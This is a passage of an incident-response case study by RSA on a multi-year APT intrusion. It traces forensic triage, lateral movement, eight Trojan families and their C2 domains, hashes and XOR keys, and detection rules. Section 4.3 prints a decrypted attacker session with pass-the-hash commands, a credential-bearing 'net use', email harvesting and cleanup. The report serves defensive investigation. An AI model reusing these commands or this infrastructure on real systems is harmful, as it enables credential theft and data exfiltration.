Analysis is executed concurrently and therefore activities are performed simultaneously for maximum efficiency and effectiveness.
To complete this work, RSA IR uses several commercial and open source forensic tools to recover artifacts to build a comprehensive understanding of the extent of compromise.
In addition, the Team will leverage available tools and technologies in place within the enterprise to effectively utilize the IOCs to identify compromised systems and monitor for continued attacker presence.
Using this methodology and associated proactive and reactive techniques, the Team is able to enhance overall situational awareness and ultimately provide answers to questions and actionable information allowing for tactical decision making in near real-time.
Figure 3: IR Competencies Definitions: Threat Intelligence - open source research and real-time fusion of known threat data Host Forensics - analysis of file systems, logs, memory, and other volatile data to identify IOCs and/or suspicious activity Network Forensics - analysis of network traffic and logs to identify IOCs and/or suspicious activity Malware Analysis - analysis of code to identify tactics, IOCs and/or suspicious activity.
RSA Incident Response Page 9 RSA Incident Response Case Study 4.
Case Study Technical Details 4.1 Initial Consultation A Law Enforcement agency notified the victim (CompanyA) on July 2013 about potential unauthorized activity emanating from CompanyAs network.
This LE notification mentioned that a rather large amount of data had been exfiltrated.
CompanyA requested the help of the RSA IR team to determine the extent of the problem.
CompanyA sent firewall logs for a 24-hour period encompassing the time in the notification from the LE agency.
The RSA IR team was able to rapidly analyze the firewall logs, pinpointing several entries from a machine that had two large transfers.
The two file transfer sizes combined matched the approximate amount of data that had been reported as being exfiltrated to an external system in the continental United States.
The RSA IR team provided this information back to CompanyA, and requested that CompanyA provide a memory dump of that particular server for analysis.
The RSA IR team used Volatility to analyze the submitted memory dump.
Very quickly, while parsing the Application Compatibility cache from the memory image, RSA IR confirmed this server likely had unauthorized activity based on locations and filenames that were executed on the system.
Figure 4 below depicts a portion of the suspected tools that were executed on the system.
These filenames and location have been previously associated with APT actor tools, techniques and procedures (TTPs).
Figure 4: ShimCache results from memory analysis Based on these findings RSA IR advised CompanyA that this server had evidence of unauthorized activity, and that based on some of the filenames of the tools, the adversary had most likely dumped password hashes.
RSA IR advised CompanyA that based on the Last Modified times for the executed files, this adversary had been on this system since at least 2012 and possibly 2010.
These findings indicated a high probability that other systems on the network were compromised and/or accessed.
The same LE agency notified the company again in September 2013 of more unauthorized activity.
4.2 Incident Response On 26 September 2013 the RSA IR team was formally engaged to respond to this incident.
The following section describes how RSA IR analysts were able to utilize SA and ECAT to investigate this incident.
The ECAT agent was initially deployed to a small number of systems on the network primarily due to the victims belief that this was an isolated incident.
CompanyA had taken the first known compromised system offline in June, a few weeks before we performed memory analysis on it.
RSA IR chose eight systems to perform host forensics on due to their importance to the victim organization.
RSA Incident Response Page 10 RSA Incident Response Case Study 4.2.1 ECAT Analysis  System XX132 ECAT contains a set of filters and IOCs that highlight files of interest based purely on behavioral characteristics such as how they are loaded or where they are located.
One of these filters is the Reserved Filename, which displays any files that have reserved names and are not in their default location.
The list of Reserved Filenames includes both common Windows file system names such as svchost.exe, explorer.exe, etc, as well as the names of common applications such as browser executables.
In the example depicted in Figure 5 below, ECAT indicated that a file named svchost.exe (which natively resides under c:\Windows\system32\ folder) is suspicious due to its unexpected location.
Figure 5: ECAT File Properties Window Another very useful feature of ECAT is the ability to triage a system by downloading a systems Master File Table (MFT) directly from ECATs console, swiftly allowing the ECAT analyst to triage a system remotely without interfering with the end users usage of the system.
The built-in ECAT MFT Viewer displays all relevant NTFS attributes including all 8 NTFS time stamps3.
Frequently, modern APT Trojans time stomp their files to avoid suspicion, so seeing all 8 time stamps is critical in determining when something malicious occurred as well as finding other related events.
Within a few seconds after requesting the MFT the analyst was able to perform time analysis on the system.
This process started with events that occurred around the time when the known malicious file named svchost.exe was created.
This analysis revealed another related file named svchost.conf, which was determined to be this Trojans obfuscated configuration file.
Figure 6: ECAT MFT Viewer - Trojan.
Hikit 2 Throughout this report some or all of the letters in the names of the systems have been obfuscated to protect the identity of our client.
3 Four time stamps come from the STANDARD_INFORMATION (SI) attribute, whereas the other four come from the FILENAME_INFORMATION (FN) attribute RSA Incident Response Page 11 RSA Incident Response Case Study The configuration file (svchost.conf) is obfuscated with a 4 byte XOR key (0xFA274BCD) and contains C2 IP address 206.205.82.9.
These two malicious files are components of what RSA IR refers to as Trojan.
Hikit: Figure 7: Obfuscated and deobfuscated Trojan.
Hikit config file From the created timestamp of svchost.conf, the analyst deduced that svchost.exe was executed via a scheduled job, and it dropped svchost.conf.
Malware analysis on svchost.exe confirmed this behavior.
Typically, when two or more files are created in such proximity in time to each other, and at least one of them has 00 for the seconds, this is indicative of this file being executed via a scheduled job.
This is because when scheduling an at job the user only specifies an hour and minute, thus a job is executed as soon as the specified minute arrives, and the seconds end up being 00.
In this case it is highly likely that file svchost.exe was laterally copied over to this system, followed by remotely scheduling an at job to execute that file4.
The job was executed about 1 minute later, and it resulted in the dropping of file svchost.conf.
The fact that another local system was involved to infect system XX13 was important because it showed that at least one other system on the network was compromised.
A quick check of the C:\Windows\Tasks folder did not show any leftover At.job files, whereas the entries on SchedLgU.txt file had already rolled into 2013.
Furthermore, the Windows Security Event logs, which would typically contain logs on which account and from which system the lateral movement occurred, had also rolled.
Lastly, this was a Windows XP system and so their event log Microsoft-Windows-TaskSchedules4Operational.evtx did not exist, which is typically another great evidence source for lateral movement.
The analyst blacklisted file svchost.exe by its MD5 hash in ECAT so that if it were encountered again it would be marked as malicious.
However, as it is very common with many Trojans deployed on a network, at least some of them will vary slightly from others and have a different hash value since at a minimum they are probably configured to beacon to different C2 channels or compiled at a different time.
This is where another great feature of ECAT is very useful, namely ECATs ability to ingest YARA signatures.
This feature also helps immediately mark suspicious files as malicious.
So, it is common practice for RSA IR analysts to create Yara signatures for newly discovered malicious files.
Figure 8 provides a signature for Trojan.
Hikit: Figure 8: Yara signature for Trojan.
Hikit 4 While we have seen adversaries locally schedule a job to execute a file on the local system, this is not very common although worth keeping in mind.
RSA Incident Response Page 12 RSA Incident Response Case Study 4.2.2 ECAT Analysis  System XXDEV3 On a second host (XXDEV3) of the eight systems where ECAT was deployed, ECAT discovered a second instance of Trojan.
Hikit.
The Yara rule had already marked the file as malicious (i.e.
blacklisted it).
Figure 9: Yara hit on Trojan.
Hikit When the analyst triaged XXDEV3, two Trojan.
Hikit configuration files were found.
Furthermore, while this example of Trojan.
Hitkit appeared to have been on the system since 2012, the two configuration files were created in 2013, as shown below: Figure 10: ECAT MFT time analysis - Trojan.
Hikit Both configuration files were obfuscated with a 4-byte XOR key similar to the example from XX13.
The same C2 node was found in both configuration files: drometic.suroot.com (200.108.192.31).
The analyst also found three at job files that fortunately werent deleted after execution, as shown below: Figure 11: ECAT MFT analysis - At.job files At this point the analyst had three relevant timestamps to perform time analysis on.
After sorting all the entries in the MFT based on the FN timestamp, the analyst discovered the following relevant activity: 1.
A few seconds after file netddesrv.exe was created on the system a job was scheduled (At1.job).
This job file executed a file named log.bat, which was no longer present on the system, which executed5 netddesrv.exe in return.
This proved to be a classic example of lateral movement.
5 This assumption is probably true because throughout this case we saw the adversary execute files via batch files such as in this instance.
RSA Incident Response Page 13 RSA Incident Response Case Study Figure 12: ECAT MFT time analysis 2.
Looking at the next scheduled job the analyst discovered artifacts that were different from what had been encountered up to that point, namely two new files appeared after a scheduled job was executed.
Figure 13: ECAT MFT analysis - Trojan.
FF-RAT The scheduled job At2.job executed c:\set.exe (no longer present on the system), which dropped files frtest.dat and Windows Config.wav6.
The last two files were components of what RSA IR refers to as Trojan.
FF-RAT.
It was unclear at that point whether this Trojan was from a different APT group or if the same APT group that entrenched itself in this system in August 2012, decided to drop a second type of Trojan in this system.
Another interesting finding about Trojan.
FF-RAT was that file frtest.dat was legitimately digitally signed (as of the time of the engagement): Figure 14: Digital Signature details of Trojan.
FF-RAT Digitally signed malware is rare, and implies a higher level of sophistication from an adversary.
The file Windows Config.wav file was compressed and contained the Trojans configuration information, including the C2 domain and its project name.
Malware analysis showed that the configuration file of this Trojan contained two C2 domain names, which both resolved to the same IP at that time: mno80.dwy.cc and mno995.dwy.cc (198.55.120.222).
6 Notice the 00 on the seconds for the creation time.
If the At2.job had not existed or the SchedLgU.txt file does not contain any evidence of scheduled at jobs, you could infer that the Trojan was dropped via lateral movement, by looking the 00 seconds in the creation time of the malicious file(s).
RSA Incident Response Page 14 RSA Incident Response Case Study RSA created a YARA signature for this new Trojan based on a unique decompression algorithm that the Trojan utilized: Figure 15: Yara signature for Trojan.
FF-RAT 3.
The third job file At3.job also executed a file named log.bat (no longer present on the system), however there is nothing else relevant around this time: Figure 16: ECAT MFT time analysis on At3.job file Since ECAT was only deployed to eight systems at this point, Security Analytics complimented this gap in endpoint visibility by providing network visibility.
A quick lookup of IP address 198.55.120.222 shows that 14 internal systems are beaconing out to that IP address, and there are several other domain names also involved: Figure 17: SA analysis - Trojan.
FF-RAT beaconing After presenting these findings to CompanyA, ECAT agents were deployed to every Windows system on the network.
This is where ECAT also compliments SA several of the discovered Trojans were set to sleep longer than others, were not actively running, or the system was previously infected with Trojan.
FF-RAT however the Trojan executable files had since been removed.
ECAT uses frequency analysis to give the analyst instant visibility across the environment on any given file.
In this case of the Yara signature for Trojan.
FF-RAT, ECAT informed the analyst that file frtest.dat (by MD5 hash) also existed on 5 additional systems.
ECAT also informed the analyst how this file was loaded/entrenched, namely via a service name Nwsapagent.
RSA Incident Response Page 15 RSA Incident Response Case Study Figure 18: ECAT analysis - Trojan.
FF-RAT The 5 systems in question are shown below: Figure 19: ECAT analysis - filtering infected hosts 4.2.3 ECAT Analysis  Trojan.
FF-RAT The analyst knew that Trojan.
FF-RAT consisted of at least a DLL file (with a .dat extension) and a configuration file under: C:\Windows\Media\Windows Config.wav, and the hash values of the DLLs and the configuration files varied from system to system.
Since the configuration file (Windows Config.wav) was a unique filename that does not exist on a Windows system by default, and was always found in the same directory, the analyst used this fact to query all systems for evidence of Trojan.
FF-RAT.
This request would show all systems that were or had been infected with Trojan.
FF-RAT, as well as account for systems where the Trojan was present on the system but not actively running.
ECAT makes this request very easy: Figure 20: ECAT analysis - requesting files enterprise wide RSA Incident Response Page 16 RSA Incident Response Case Study Within a few seconds ECAT gave the analyst a list of systems that contained file C:\Windows\Media\Windows Config.wav7, which had been infected with Trojan.
FF-RAT.
A total of 31 systems contained a Trojan.
FF-RAT configuration file, as shown below (some system names have been blurred to protect the name of the victim).
Figure 21: ECAT analysis - systems infected with Trojan.
FF-RAT 4.2.4 ECAT Analysis  System XXXXNAPP02 The analyst triaged system XXXXAPP02 next, and focused on the C:\Windows\system32\ folder where frtest.dat (Trojan.
FF-RAT) was located.
The analyst noticed several additional suspicious files in this folder, which were considered suspicious for the following reasons: Figure 22: ECAT MFT time analysis - Time stomping 7 A detailed technical description of how these configuration files were obfuscated can be found on Appendix I. RSA Incident Response Page 17 RSA Incident Response Case Study 1.
File frtest.dat was already known to be malicious.
2.
Files fmnonull.dat (Trojan.
FF-RAT) and Mstcpnqe.dat (Trojan.
Derusbi) looked suspicious for the following reasons: a.
There are only a handful of .dat files in the system32 folder by default, and their timestamps including the FN are much older (i.e.
during the OS installation time).
These two files were time stomped to look older (compare FN Creation time vs SI Creation time) but in fact were created on 25 June and 26 June 2013 respectively.
b.
Both files were created (looking at FN timestamp) very early in the morning (a substantial amount of malicious activity in this case occurred between 12:00AM and 6:00AM EST).
3.
File ntmrsvc.dll (Trojan.
Lurker2) may look like a legitimate filename (in fact it is only one character different from the legitimate filename ntmssvc.dll).
The most suspicious aspect of this file was that it was created recently with no other activity around it in the system32 folder.
When looking at all the files in the system and sorting by FN, another suspicious file in the C:\Windows\Temp folder was identified.
Figure 23: ECAT analysis - Trojan.
Lurker2 4.
Files seclogon.nls, senseron.dll, and seclogon.nt are suspicious for the following reasons: a.
Time stomped.
b.
Created during the early hours in the morning.
On this system the analyst discovered two new Trojan families Trojan.
Derusbi and Trojan.
Lurker2.
The analyst created Yara signatures for each of them.
Figure 24: Yara Signature - Trojan.
Lurker2 RSA Incident Response Page 18 RSA Incident Response Case Study Figure 25: Yara signature - Trojan.
DerusbiAP32 4.2.5 ECAT Analysis  Recycler folder At this stage of the investigation the analyst had discovered four different Trojan families and several infected hosts.
Very often APT adversaries are not careful enough to cleanup after themselves, and relevant artifacts can be found by exploiting the tendencies of the adversary.
For example, when RSA performed memory analysis on the early stages of this case, it discovered (via ShimCache analysis) that the adversary had a preference for storing relevant files under C:\Recycler\ and C:\Windows\addins\.
Since certain directories do not typically contain certain types of files, the analyst used ECAT to query these directories for files that are out of place.
For example, the root of the Recycler folder should not contain any files at all, so the analyst requested that ECAT download C:\Recycler\..
Here are the files that were retrieved from the C:\Recycler\ directory from various systems: Figure 26: ECAT analysis - files at root of Recycler folder 4.2.6 ECAT Analysis  System XXME The triage process of system named XXME led to the discovery of some interesting artifacts.
The first relevant fact was that file C:\Recycler\net.txt was created in 2010.
This event confirms initial suspicions from the earliest stages of this case, that the earliest evidence of unauthorized activity goes back to 2010: RSA Incident Response Page 19 RSA Incident Response Case Study Figure 27: ECAT analysis - files at root of Recycler folder Time analysis did not show anything else relevant from 2010.
When the analyst performed time analysis around the bmp.tmp files the following relevant activity was discovered: Figure 28: ECAT analysis - Trojan.
Gh0st Despite the unusual size of file MSODBC.dll at about 50MB8, this file along with file mscmos.sys were found to be components of Trojan.
Gh0st.
The adversary artificially increased the size of file MSODBC.dll by appending junk data to the end of it, presumably to avoid suspicion.
A quick look at mscmos.sys reveals that it was an obfuscated (XOR with 0x99) configuration file that contained domain name ru.pad62.com, and the victims company name appeared at the beginning of the file.
When looking at the July 4th 2012 activity the analyst observed another interesting file: Figure 29: ECAT analysis - Trojan in cached files Due to the time proximity to the bmp.tmp file, the analyst noticed that an executable file was cached under the administrator.
NY account.
This file was also found to be highly suspicious because its filename contained the 8 The size of a typical Trojan is less than 1MB with a large percentage of Trojan sizes falling between (10KB  350KB) RSA Incident Response Page 20 RSA Incident Response Case Study company name in it (blurred for this reason).
The fact that this file is cached implies that the adversary had GUI access to this system and used Internet Explorer to download this file.
Whenever relevant cached files are discovered on a system, the analyst investigates the Internet History of that users profile to determine from where this file was downloaded.
Internet history showed that the malicious file was downloaded from: www.haircollalife.com.
Figure 30: Relevant Internet History results The file in question also appeared to have been digitally signed however this certificate was no longer valid.
This downloaded file was found to be a dropper for Trojan.
Gh0st.
When executed it drops three files: 6to4adv.dll, BusMgr.sys, and SvcPack.dat.
Digging through the rest of the Internet history, another suspicious file was downloaded on 26 August 2013 named x8.txt from http://198.27.112.7:666.
The downloaded file was also a legitimately digitally signed executable file (i.e.
another Trojan.
FF-RAT variant).
Figure 31: Additional relevant Internet History results Evidence found in this system shows that the APT group that is using digitally signed Trojans deployed a Trojan.
Gh0St variant (MSODBC.dll) in May 2012.
It then deployed a digitally signed Trojan.
Gh0st variant in July 2012.
Internet research on the digitally signed Trojan.
Gh0st showed that Sophos started identifying this variant as Troj/PWS-BYU on 17 July 20129.
CompanyA runs Sophos AV in their environment, so the signed Trojan.
Gh0st only worked for about 13 days before it was quarantined.
The unsigned version of Trojan.
Gh0st was also no longer active because malware analysis showed that MSODBC.dll attempts to load a file named JET.dll, which was no longer present on any system.
So, here we are dealing with the remnants of a Trojan that is no longer active in this network.
The analyst used ECAT to find all systems that still contained Trojan.
Gh0st artifacts, namely the presence of file svcpack.dat, and found several such systems: Figure 32: ECAT analysis - Systems infected with Trojan.
Gh0st File svcpack.dat contains Trojan configuration information at the beginning of the file, which is obfuscated via a single byte XOR (0x11).
Here is an example of a de-obfuscated configuration data from a SvcPack.dat file: 9 https://secure2.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojPWS-BYU/detailed-analysis.aspx RSA Incident Response Page 21 RSA Incident Response Case Study Figure 33: Trojan.
Gh0st - de-obfuscated configuration file 4.2.7 ECAT Analysis  System XX22 The analyst started to triage system XX22 by performing time analysis around the files discovered in the C:\Recycler folder of this system.
MFT analysis also revealed some deleted text files that used to exist in this folder.
These text files were recovered and were found to contain recursive directory listings of drives of other systems in the network.
Typically APT adversaries get recursive directory listings to determine which filenames look interesting for exfiltration.
Figure 34: ECAT analysis - files at root of Recycler folder Looking at the activity around file b.exe the analyst discovered that it was responsible for dropping files sbiedll.dll and helper.url as shown below: Figure 35: ECAT MFT time analysis - Trojan.
PlugX These three malicious files are components of what RSA IR refers to as Trojan.
PlugX.
While looking at the c:\windows\system32 folder the analyst noticed a highly suspicious file named svchost.
This file was very suspicious RSA Incident Response Page 22 RSA Incident Response Case Study because it contains the name of svchost.exe, which is a critical Windows file, but it has no extension.
When the analyst pivoted on file svchost the following relevant files were discovered.
Figure 36: ECAT MFT time analysis - Trojan.
PoisonIvy Some quick malware analysis on dbServer.exe revealed that it was a variant of Trojan.
PoisonIvy and it consisted of file dbServer.exe, which de-obfuscated and loaded res.db, which then loaded memshare.dat.
File svchost is the keystroke logger file of Trojan.
PoisonIvy.
File timebios.dll and share.dat were also found to be components of PoisonIvy.
The PoisonIvy password that was configured in these samples was: 15911117665 ECAT identified 6 systems that contain file timebios.dll: Figure 37: ECAT analysis - filtering systems infected with PoisonIvy Four of these six systems also contained file dbServer.exe: Figure 38: ECAT analysis - filtering systems infected with PoisonIvy 4.2.8 ECAT Analysis  Hunting with InstantIOCs.
Another ECAT filter that is a good APT malware identifier is the Unsigned_ServiceDLL filter.
This InstantIOC filter will point out DLL files that are loaded as a service, but which are not signed.
When running this filter against the GlobalModule List, ECAT points two other types of Trojans that RSA refers to as Trojan.
Lurker and Trojan.
Superhardcore.
RSA Incident Response Page 23 RSA Incident Response Case Study ECAT pointed out four DLL files (tpoaed.dll, powms.dll, lpest.dll, asesed.dll) that are all variants of Trojan.
Lurker: Figure 39: ECAT analysis - systems infected with Trojan.
Lurker Also, ECAT pointed out a file named AppMgmt32.dll, which is also an unsigned DLL that was loaded as a service named IRMON.
RSA refers to this Trojan as Trojan.
Superhardcore.
Overall, the following systems contained Trojan.
Superhardcore: Figure 40: ECAT analysis - systems infected with Trojan.
Superhardcorp 4.3 SA Analysis  Trojan.
Lurker One of the approaches that the RSA IR team uses to identify malicious network traffic relies on identifying anomalies in network protocols.
Most Trojans do not follow protocol standards and thus can be detected based on these anomalies.
For example, Trojan.
Lurker is a classic HTTP Trojan.
Detection depends on knowledge of the HTTP protocol and detecting anomalies and non-standard traffic.
In this case the Trojan stood out for several reasons: 1.
First, the Trojan had to use the POST method to send data to the server.
There is no RFC mandated maximum HTTP Header size, although the default limits on Apache are 8KB and on IIS, 16KB.
Trojans generally attempt to follow standards to allow the requests to be handled by proxies, if they exist in the environment.
For that reason, most HTTP Trojans utilize the GET and POST method to facilitate a command shell that appears to be standard HTTP traffic.
The POST Method traffic in most environments is generally 10 of overall HTTP traffic, making it easier for the analyst to find malicious sessions.
2.
Second, the Trojan uses a short MSIE 7 User-Agent that identifies itself as Windows XP 64 bit Operating System.
RSA Incident Response Page 24 RSA Incident Response Case Study 3.
Third, the Trojan is using only 3 HTTP headers, a very low amount, and doesnt follow best practices for HTTP/1.1 the Content-Type header is not present for the POST method.
Figure 41: SA analysis - Trojan.
Lurker We now highlight these items in the actual payload of the traffic: Figure 42: SA analysis - Trojan.
Lurker HTTP anomalies RSA discovered HTTP sessions to these IPs containing both Windows PEs as well as encrypted header RARs.
The command shell was encrypted, but files sent via the C2 channel were in the clear.
The first PE to be sent was rar.exe.
Figure 43: SA analysis - Trojan.
Lurker C2 channel activity Next, a RAR archive with additional tools was sent to the infected host.
RSA Incident Response Page 25 RSA Incident Response Case Study Figure 44: SA analysis - Trojan.
Lurker C2 channel activity A batch script was then uploaded and executed by subsequent commands.
As can be seen from the previous to examples as well, this Trojan download files in plaintext.
Figure 45: SA analysis - Trojan.
Lurker C2 activity RSA IR decrypted the commands from the Trojan.
Lurker traffic and identified the following relevant activity: 1.
RS cmd.exe 2.
net use \\XX16\ipc password /u:LOCAL\username 3.
UL C:\Windows\IME\IMEJP\ntfre.exe   332800 4.
UL C:\Windows\IME\IMEJP\WRD0208.tmp  134052 5.
UL C:\Windows\IME\IMEJP\WRD0219.tmp  183148 6.
UL C:\Windows\IME\IMEJP\p8.bat   291 7.
ntfre e -puej22Ejd3wUDHFsw21 WRD0219.tmp 8.
r local\user1::XXXXXX8F348F93FAD30C70304DXXXXXX:XXXXXX9F20421885C88B11C388XXXXXX::: m -s:172.20.240.21 -u:user1 -t:2013-10-15-00 -o:c:\windows\ime\imejp\mail 9.
r local\user2::XXXXXX8F348F93FAD30C70304DXXXXXX:XXXXXXCCA445FCCD44E6BD66D8XXXXXX::: m -s:172.20.240.21 -u:user2 -t:2013-09-15-00 -o:c:\windows\ime\imejp\mail RSA Incident Response Page 26 RSA Incident Response Case Study 10.
r local\user3::XXXXXX8F348F93FAD30C70304DXXXXXX:XXXXXX64AB0C641B0FC741B8C2XXXXXX::: m -s:172.20.240.21 -u:user3 -t:2013-09-15-00 -o:c:\windows\ime\imejp\mail 11.
p8.bat 12.
rd mail /s/q 13.
del m.exe 14.
del r.exe The APT operator starts this session (1) with the infected system by launching a remote shell (RS).
The operator then establishes a network connection (2) using stolen credentials.
Several files are then uploaded (UL) to the infected system (3, 4, 5, 6).
It should be noted that ntfre.exe is the RAR command line utility, whereas the .tmp files are actually RAR archive files.
A very strong RAR password is used to extract (7) the contents of WRD0219.tmp RAR archive file.
The operator then runs r.exe which is a pass-the-hash tool (8, 9, 10) on three different users, and also executes m.exe, which is an email harvesting tool.
The email harvesting tool is passed arguments to only grab a delta of emails, i.e.
the actors already have taken all previous emails, and are now only interested on the latest emails.
The batch file p8.bat (11) is executed.
This file contains the commands shown on Figure 46.
The batch file does a couple of things: it extracts the files in archive WRD0208.tmp using RAR password: 64740629.
This archive file contained the password hash dump utility (PW.exe), which is executed against server XX16, hence the reason for establishing a network connection (2) to that system.
The RAR utility (ntfre.exe) is then used to archive the collected emails.
The content of the RAR archive (WRD00h.tmp) is hidden password protected with password happyday (-hphappyday).
The rest of the commands are to cleanup (also 12, 13, 14).
The RAR file was uploaded successfully to the C2 node.
4.4 Parallel Detection with Security Analytics During the early stages of an intrusion the adversary is typically very busy performing tasks such as moving laterally to additional systems on the network, dumping password hashes, mapping out the network, and stealing data.
After they accomplish this part of the mission, the C2 channels will go quiet for the most part, by which we mean there maybe outbound connection attempts but there is nothing on the destination node listening on that port.
Another symptom of this quiet time is that the adversary may choose to park their domain names, by which we mean, that the domain names resolve to a legitimate IP address such as a Google IP, or resolve to the loopback address, or some other non-malicious IP.
The adversary may occasionally interact with a system on the network to ensure that they still have access to the network, but the activity is typically minimal.
The only exception to this behavior is if the adversary comes in for another round of data theft.
This current case is a perfect example of this scenario, where at least one of the APT groups has had access to the network for at least 3 years (since 2010).
This quiet time presents a challenge to signature based network devices, since there are no payloads to hit on.
RSA IR uses a simple application rule within SA to identify suspected sessions in the form of TCP beaconing.
TCP beaconing is periodic attempts to create a TCP session with the Command and Control infrastructure.
Condition 1 Condition 2 ip.proto6 streams1 risk.infoflags_syn risk.infoflags_ack risk.infoflags_psh risk.infoflags_fin risk.infoflags_rst alertrfc1918_dst ip.proto6 streams2 risk.infoflags_syn risk.infoflags_psh risk.infoflags_fin alertrfc1918_dst payload0 Table 1: SA beacon detection rules RSA Incident Response Page 27 RSA Incident Response Case Study The first condition would appear when the remote listener is not listening on that port.
There could be any number of reasons for this such as an HTRAN10 listener has been shut down or the Trojan server component itself has been shut down.
The packets generally follow the 3, 6, N periodicity.
This means that the first SYN packet is sent, 3 seconds later the second SYN packet is sent and 6 seconds later the 3rd SYN packet is sent.
N stands for the Trojans internal timer for attempting another connection.
Figure 46 Suspicious TCP Beaconing The second condition expects a response from the server, but usually in the form of RST/ACK packets.
This would indicate a host configuration that resets TCP connections when a service isnt bound to that TCP port.
Figure 47 Suspicious TCP Beaconing The domains for these TCP beaconing sessions can be determined by taking the destination IP address and looking for DNS sessions in alias.ip.
Alias.ip is populated by the Advanced DNS parser available through the Security Analytics Live content distribution system.
This metadata is generated when a domain lookup results in a valid IP address.
A partial view of the metadata on a DNS lookup for drometic.suroot.com is shown below: Figure 48 IP.Alias Resolution for drometic.suroot.com The network traffic for Trojan.
FF-RAT was initially discovered with the following rule.
service  0 lifetime  50-u tcp.dstport  80,81,8000,8080,8443,443,53,21,22,23,10443,1080 risk.info  flags_syn This rule looks for traffic that has not been identified by the Security Analytics Service parsers, has been established for more than 50 seconds on well-known ports as well as containing the TCP Flag SYN.
Security Analytics attempts to identify sessions based on the layer 3 and layer 4 information such as IP address and source/destination ports.
Sessions that grow to over 32MB or over 60 seconds in duration are declared a complete session and sent to the parser logic and written to disk.
Long TCP sessions or large downloads will leave session fragments in Security Analytics, so keying off of the TCP Flag SYN, we can find the beginning of such sessions and reduce the amount of data the analyst has to inspect.
The payload discovered in these sessions contains encoded binary data with a single byte XOR key.
The XOR key was easy to derive from the traffic as it is exposed when XOR-ing NULL bytes.
Applying this key to the payload data yielded a Global Unique Identifier (GUID).
10 http://www.secureworks.com/cyber-threat-intelligence/threats/htran/ RSA Incident Response Page 28 RSA Incident Response Case Study Figure 49 FF-RAT Encoded Beacon Figure 50 FF-RAT Decoded Beacon Further analysis revealed more details about the structure of the payload and a FLEX XML parser was developed to aid in discovering more hosts infected with this variant of FF-RAT.
Figure 51 FF-RAT Detection Parser RSA Incident Response Page 29 RSA Incident Response Case Study 5.
Trojan Families RSA IR identified eight Trojan families that were being used by one or more APT groups in this engagement.
This is a large number of variants for such a small network (1500 Windows systems), however it shows what a big target this particular network was to the various APT groups that had infiltrated it.
5.1 Trojan.
Lurker RSA IR identified several malicious files that it refers to as Trojan.
Lurker and Trojan.
Lurker2.
This Trojan allowed the adversary to perform the following actions on the infected systems: 1.
Execute commands via cmd.exe 2.
Execute Files 3.
Upload/download files 4.
Traverse the file system 5.
Enumerate/terminate running processes.
One variant of this Trojan was UPX packed at 18,304 bytes whereas the second variant was not packed and was 48,000 bytes.
The primary method of entrenchment was by hijacking the NTMSSVC service by replacing the legitimate DLL name there (ntmssvc.dll) with one of the malicious files.
The characteristics of the discovered Trojans are shown below: File Name Size MD5 Hash Compile Time C2 Nodes tpoaed.dll 18304 127D4ED81A3B107FC20A5B7F951D834B Sep 07 2009 03:15:30 UTC price.nspok.com avail.nspok.com 202.181.133.97 lpest.dll 18304 67595C3D126DFF2FEF1281D4EA0E8F45 Sep 07 2009 03:15:30 UTC 220.232.228.11 avail.nspok.com 202.181.133.97 asesed.dll vdeedd.dll 18304 836910D7E9CA82AA28123293D2509935 Sep 07 2009 03:15:30 UTC mafeng.mircbloger.com avail.nspok.com 202.181.133.97 powms.dll 18304 1FA362F7611AA30E7DFF1997E3067184 Sep 07 2009 03:15:30 UTC rolling.mircbloger.com avail.nspok.com 202.181.133.97 ntmcsvc.dll 18304 3B8134528C6B9655639B55708A899CDB Sep 07 2009 03:15:30 UTC No C2 channels.
Misconfigured Trojan.
ntmrsvc.dll 48000 F96D9B121ECCD2C5EBDCD69DCDD6D8D3 Dec 11 2011 05:12:56 UTC update01.microsoft- centre.com ntmrsvc.dll 48000 DE0B3E40B369E025822817F0D54D811E Dec 11 2011 05:12:56 UTC update01.microsoft- centre.com Table 2: Trojan.
Lurker files details and C2 channels Both variants of this Trojan contained configuration data encrypted at the end of the file.
Analysis shows that the data is encrypted using a modified version of the DES (ECB) algorithm.
The same key is also used to encrypt all network communication.
Between the two variants that were discovered two DES keys were found: Figure 52: Trojan.
Lurker - DES keys used by each variant RSA Incident Response Page 30 RSA Incident Response Case Study 5.2 Trojan.
SurperhardCorp RSA IR identified a Trojan family that it refers to as Trojan.
SuperhardCorp.
This Trojan allows the adversary to perform the following actions on an infected system: 1.
Execute commands/files 2.
Upload/download files 3.
Traverse the file system 4.
Enumerate/terminate running processes.
The primary method of entrenchment for this Trojan was a service named IRMON.
The Trojan communicates over TCP port 443.
The characteristics of the discovered Trojans are shown below: File Name Size MD5 Hash Compile Time C2 Nodes irmon.dll 788892 BE87882D1F306FB9E834FE683EE1A99A Oct 25 2010 07:31:08 UTC appear.weibo03.com docume.sysbloger.com irmon32.dll 788992 16B2F029BC7BDE4C2EE69B65B323B86E Oct 25 2010 07:31:08 UTC ohio.sysbloger.com specs.dnsrd.com AppMgmt32.dll 81408 928A2D849047FE1B733A473CFF2EC66C Jan 20 2010 05:20:33 UTC np3.Jkub.com ns8.ddns1.com AppMgmt32.dll 769040 71AF8D680158C737ACF8304275F4CB2F Oct 24 2010 13:19:49 UTC books.mrface.com kieti.ipsecsl.net Table 3: Trojan.
SuperhardCorp file details and C2 channels The name of this Trojan comes from a string that is hardcoded in all of these samples.
Here is an example: Figure 53: Trojan.
SuperhardCorp - binary snippet 5.3 Trojan.
Derusbi RSA IR identified two variants of another Trojan family that it refers to as Trojan.
Derusbi.
This Trojan allows the adversary to perform the following actions on an infected system: 1.
Execute commands/files 2.
Upload/download files 3.
Traverse the file system 4.
Enumerate/terminate running processes.
Both variants used the same C2 channel.
The characteristics of the discovered Trojans are shown below: File Name Size MD5 Hash Compile Time C2 Nodes mstcpday.dat 166703 AF1746DD9985FE9B19D5036CF45C93F0 Jan 19 2013 12:31:39 UTC  had-one-job.com senseron.dll 87552 0E91F700DF34A2C3633CD49818FA3A61 Aug 14 2012 16:38:55 UTC had-one-job.com Table 4: Trojan.
Derusbi - file details and C2 channels The first variant (mstscpday.dat) exports function DllRegisterServer, so it can be installed by simply calling it with the regsvr32.exe.
During it installation, the Trojan entrenched itself as a service named: stisvc, and created a driver which it RSA Incident Response Page 31 RSA Incident Response Case Study loaded in memory and deleted from the file system.
The driver name is: C:\WINDOWS\system32\Drivers\BC87739C-6024- 412c-B489-B951C2F17000.sys.
The second variant of this Trojan consist of two files: an executable file and a compressed configuration file.
This variant is entrenched as a service named SENS.
The configuration file named seclogon.nls is compressed with the aPACK11 algorithm: Figure 54: Trojan.
